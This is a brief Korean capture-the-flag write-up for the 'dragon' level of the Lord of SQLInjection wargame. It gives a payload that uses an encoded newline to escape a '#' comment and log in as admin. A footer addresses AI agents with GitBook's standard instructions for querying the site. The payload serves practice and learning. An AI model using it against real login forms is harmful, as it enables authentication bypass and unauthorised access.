> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-dragon.md).

# \[Lord Of SQLInjection] dragon

<figure><img src="https://blog.kakaocdn.net/dna/cneMtk/btsMCZadNue/AAAAAAAAAAAAAAAAAAAAAL2GGkyfgOcRMFP6o8hrC8ZtFaxZTTk4UXGVCCcjUwjK/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=4be3JpSU6iQK%2BStg8WRapwKPbYY%3D" alt="" height="364" width="617"><figcaption></figcaption></figure>

```
$query = "select id from prob_dragon where id='guest' # and pw='{$_GET[pw]}'";
```

→ 여기서 #은 한 줄만 주석으로 친다.

⇒ 줄을 바꿔주고 query를 작성하면 주석처리가 적용되지 않는다.

```
[도메인 값]?pw=%0a and pw='' or id='admin
```

→ %0a로 줄바꿈 처리

→ pw를 =’’로 재정의

→ 그 후 or을 이용해 id=’admin으로 지정해준다.

<figure><img src="https://blog.kakaocdn.net/dna/bMlbLI/btsMDGOypWO/AAAAAAAAAAAAAAAAAAAAANr2ueiSRV00pXDZHjKFHe8t9bX2K2566CoXZ8a4uVvh/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=oUVxOgQSwlgm2TVydN3AA0rhWFA%3D" alt="" height="400" width="702"><figcaption></figcaption></figure>

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-dragon.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
